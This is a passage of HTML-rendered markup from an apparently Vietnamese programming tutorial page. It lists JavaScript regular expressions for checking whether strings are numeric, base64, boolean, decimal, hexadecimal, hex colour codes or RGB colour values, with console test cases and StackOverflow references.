class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"20 19"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"J@vascr!pt"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"java script"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"java-script"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isNumeric<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="kiểm-tra-string-là-base64" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-base64" aria-label="kiểm tra string là base64 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là base64</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isBase64 <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isBase64<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"SomeStringObviouslyNotBase64Encoded..."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isBase64<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"U29tZVN0cmluZ09idmlvdXNseU5vdEJhc2U2NEVuY29kZWQ="</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Tham khảo: <a href="https://stackoverflow.com/questions/7860392/determine-if-string-is-in-base64-using-javascript/">Determine if string is in base64 using JavaScript</a></p> <h2 id="kiểm-tra-string-là-boolean" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-boolean" aria-label="kiểm tra string là boolean permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là boolean</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^true|false$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isBoolean <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^true|false$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isBoolean<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"true"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isBoolean<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"false"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isBoolean<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"TRUE"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isBoolean<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"FAlse"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isBoolean<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"abc"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isBoolean<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"123"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isBoolean<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="kiểm-tra-string-là-số-thập-phân" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-s%E1%BB%91-th%E1%BA%ADp-ph%C3%A2n" aria-label="kiểm tra string là số thập phân permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là số thập phân</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[+-]?((\d+(\.\d*)?)|(\.\d+))$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isDecimal <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[+-]?((\d+(\.\d*)?)|(\.\d+))$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"123"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"23.45"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"34."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">".45"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"-123"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"-273.15"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"-42."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"-.45"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"+516"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"+9.8"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"+2."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"+.5"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"-."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"+."</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"*12.34"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"abc"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham khảo: <a href="https://stackoverflow.com/questions/12117024/decimal-number-regular-expression-where-digit-after-decimal-is-optional">Decimal number regular expression, where digit after decimal is optional</a></p> <h2 id="kiểm-tra-string-là-số-hexadecimal" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-s%E1%BB%91-hexadecimal" aria-label="kiểm tra string là số hexadecimal permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là số Hexadecimal</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[0-9a-fA-F]+$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isHexaDecimal <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[0-9a-fA-F]+$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"012"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"A23A1"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1AFFa1"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"2f43"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12308"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1ab6"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1a2b4c5d6e7f"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"abcdef"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"xyz"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1.23"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">".09"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#F0h"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexaDecimal<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#1234567"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham khảo: <a href="https://stackoverflow.com/questions/11424540/verify-if-string-is-hexadecimal">Verify if String is hexadecimal</a></p> <h2 id="kiểm-tra-string-là-mã-màu-dạng-hexa" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-m%C3%A3-m%C3%A0u-d%E1%BA%A1ng-hexa" aria-label="kiểm tra string là mã màu dạng hexa permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là mã màu dạng hexa</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isHexColor <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#1f1f1F"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#AFAFAF"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#1AFFa1"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#222fff"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#F00"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"123456"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#afafah"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#123abce"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"aFaE3f"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"F00"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#afaf"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#F0h"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isHexColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"#1234567"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham khảo: <a href="http://www.mkyong.com/regular-expressions/how-to-validate-hex-color-code-with-regular-expression/">How to validate Hex color code with regular expression</a></p> <h2 id="kiểm-tra-string-là-mã-màu-rgb" style="position:relative;"><a href="#ki%E1%BB%83m-tra-string-l%C3%A0-m%C3%A3-m%C3%A0u-rgb" aria-label="kiểm tra string là mã màu rgb permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra string là mã màu RGB</h2> <p><strong>Regex:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^rgb\(((\s*(\d|[1-9]\d|1\d\d|2[0-4][0-9]|25[0-5])\s*),){2}(\s*(\d|[1-9]\d|1\d\d|2[0-4][0-9]|25[0-5])\s*)\)$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p><strong>Test:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> isRGBColor <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^rgb\(((\s*(\d|[1-9]\d|1\d\d|2[0-4][0-9]|25[0-5])\s*),){2}(\s*(\d|[1-9]\d|1\d\d|2[0-4][0-9]|25[0-5])\s*)\)$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(0, 0, 0)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(0, 15, 120)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(10, 1, 230)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(255, 15, 9)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(255, 255, 255)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isRGBColor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"rgb(255,15,120)"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token 